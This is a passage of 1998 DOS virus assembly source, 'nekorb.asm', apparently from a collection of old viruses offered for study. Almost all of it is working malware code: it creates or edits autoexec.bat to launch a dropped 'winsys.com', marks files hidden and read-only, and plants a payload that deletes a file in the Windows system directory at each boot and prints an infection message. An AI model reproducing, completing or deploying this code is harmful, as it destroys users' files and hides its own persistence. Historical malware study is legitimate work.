nekorb.asm

More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use

        lea     dx,[bp+rootdir]         ; to the root directory
        int     21h                     ; change now

find:   mov     ah,4eh                  ; find first file
        lea     dx,[bp+autoexe]         ; named 'autoexec.bat'
        mov     cx,7                    ; possible attributes
        int     21h                     ; find it now
        jnc     infkt                   ; found it? infect it now

        mov     ah,3ch                  ; make a file
        lea     dx,[bp+autoexe]         ; named 'autoexec.bat'
        xor     cx,cx                   ; normal attributes
        int     21h                     ; make it now
        jmp     find                    ; and try again

infkt:  lea     dx,[bp+offset dta+1eh]  ; get the file info
        push    dx                      ; save value #8
        mov     ax,4301h                ; set file attributes
        xor     cx,cx                   ; to none at all
        int     21h                     ; set them now
        call    open                    ; open the file

        mov     ah,40h                  ; write to file
        lea     dx,[bp+newline]         ; write the new line
        mov     cx,13                   ; this many bytes
        int     21h                     ; write to file

        pop     dx                      ; from saved value #8
        mov     ax,4301h                ; set file attributes
        mov     cx,3                    ; read only / hidden
        int     21h                     ; set them now

        call    close                   ; close the autoexec.bat

        mov     ah,3ch                  ; create a file
        lea     dx,[bp+pldfile]         ; with this name
        push    dx                      ; save value #9
        xor     cx,cx                   ; with no attributes
        int     21h                     ; create it now

        mov     ah,4eh                  ; find the first file
        pop     dx                      ; from saved value #9
        mov     cx,7                    ; with these possible attributes
        int     21h                     ; find it now

        lea     dx,[bp+offset dta+1eh]  ; get the file name info
        push    dx                      ; save value #10
        call    open                    ; open the file

        mov     ah,40h                  ; write to file
        lea     dx,[bp+pstrt]           ; write from here
        mov     cx,pend-pstrt           ; this # of bytes
        int     21h                     ; write them now

        pop     dx                      ; from saved value #10
        mov     ax,4301h                ; set file attributes
        mov     cx,3                    ; read only / hidden
        int     21h                     ; set them now

        call    close                   ; close winsys.com
        jmp     exit                    ; end the virus

; ---------------------( Remotely Called Procedures )---------------------- ;
; ------------------------------------------------------------------------- ;

close:  mov     ah,3eh                  ; close file
        int     21h                     ; close it now
        ret

open:   mov     ax,3d02h                ; open the file
        int     21h                     ; file is opened
        xchg    bx,ax                   ; move the info
        ret                             ; return from call

scan:   mov     ah,42h                  ; scan function
        xor     cx,cx                   ; cx must be 0
        cwd                             ; likewize for DX
        int     21h                     ; scan through file
        ret                             ; return from call

; -----------------------( The Payload Data Area )------------------------- ;
; ------------------------------------------------------------------------- ;

pstrt:  db      0e9h,0,0                ; need all this again
        call    paydel                  ; push IP on to stack
paydel: pop     bp                      ; pop it into bp
        sub     bp,offset paydel        ; get 2nd delta offset

        mov     ah,3bh                  ; change directory
        lea     dx,[bp+winsys]          ; \windows\system
        int     21h                     ; go there now

        mov     ah,4eh                  ; find first file
        lea     dx,[bp+anyfile]         ; with any name *.*
        mov     cx,7                    ; with these possible attributes
        int     21h                     ; find one now

        mov     ah,41h                  ; delete a file
        mov     dx,9eh                  ; with this name
        int     21h                     ; delete it

        mov     ah,3bh                  ; change directory
        lea     dx,[bp+root]            ; back to the root dir
        int     21h                     ; go there now

        mov     ah,09h                  ; print a message
        lea     dx,[bp+paymsg]          ; this message
        int     21h                     ; print it to the screen
        mov     ah,00h                  ; wait for keypress
        int     16h                     ; let them seeeeee hehehe
        int     20h                     ; end this program
        anyfile db '*.*',0              ; find *.*
        winsys  db "\windows\system",0  ; define directory to change to
        root    db "\",0                ; change to the root dir
        paymsg  db '',10,13             ; so they don't see winsys.com exec
                db '',10,13             ; so they don't see winsys.com exec
                db '',10,13             ; so they don't see winsys.com exec
                db '',10,13             ; so they don't see winsys.com exec
                db '',10,13             ; so they don't see winsys.com exec
                db '',10,13             ; so they don't see winsys.com exec
                db '',10,13             ; so they don't see winsys.com exec
                db '',10,13             ; so they don't see winsys.com exec
                db '',10,13             ; so they don't see winsys.com exec
                db '',10,13             ; so they don't see winsys.com exec
                db '',10,13             ; so they don't see winsys.com exec
                db '',10,13             ; so they don't see winsys.com exec
                db '',10,13             ; so they don't see winsys.com exec
                db '',10,13             ; so they don't see winsys.com exec
                db '',10,13             ; so they don't see winsys.com exec
                db '',10,13             ; so they don't see winsys.com exec
                db '',10,13             ; so they don't see winsys.com exec
                db '',10,13             ; so they don't see winsys.com exec
                db '',10,13             ; so they don't see winsys.com exec
                db '',10,13             ; so they don't see winsys.com exec
                db 'Infected by Nekorb coded by KilJaeden of the Codebreakers on 10/06/98 - 11/06/98',10,13
                db '::Each time you start your computer, an innocent file is sacrificed to my god.::',10,13,'$'
pend:

; --------------------------( The Data Area )------------------------------ ;
; ------------------------------------------------------------------------- ;

        newline db '.\winsys.com',10,13,'$'
        updir   db "..",0               ; define the .. string
        comfile db "*.com",0            ; define the *.c* string
        autoexe db 'autoexec.bat',0     ; name of file to find
        buffer  db 0cdh,20h,0           ; terminates 1st gen
        rootdir db "\",0                ; change to the root dir
        pldfile db 'winsys.com',0       ; the name for our new .com
        newjump db 0e9h,0,0             ; overwriten 1st gen
        dta db 43 dup (?)               ; space for the new DTA
        finish  label near              ; an offset label

; ---------------------( Not Saved / Not Encrypted )----------------------- ;
; ------------------------------------------------------------------------- ;

not1st: lea     di,[bp+encst]           ; where to move the bytes
        lea     si,[bp+new]             ; move these bytes
        movsw                           ; move two bytes
        movsb                           ; move one more
        jmp     encd                    ; jump to encrypted area

new:    mov     cx,finish-encd          ; this will overwrite the jump

; -----------------------------( The End )--------------------------------- ;
; ------------------------------------------------------------------------- ;

        code    ends                    ; end code segment
        end     blank                   ; end / where to start

; ------------------------------------------------------------------------- ;
; ---------> How Can You Think Freely In The Shadow Of A Church? <--------- ;
; ------------------------------------------------------------------------- ;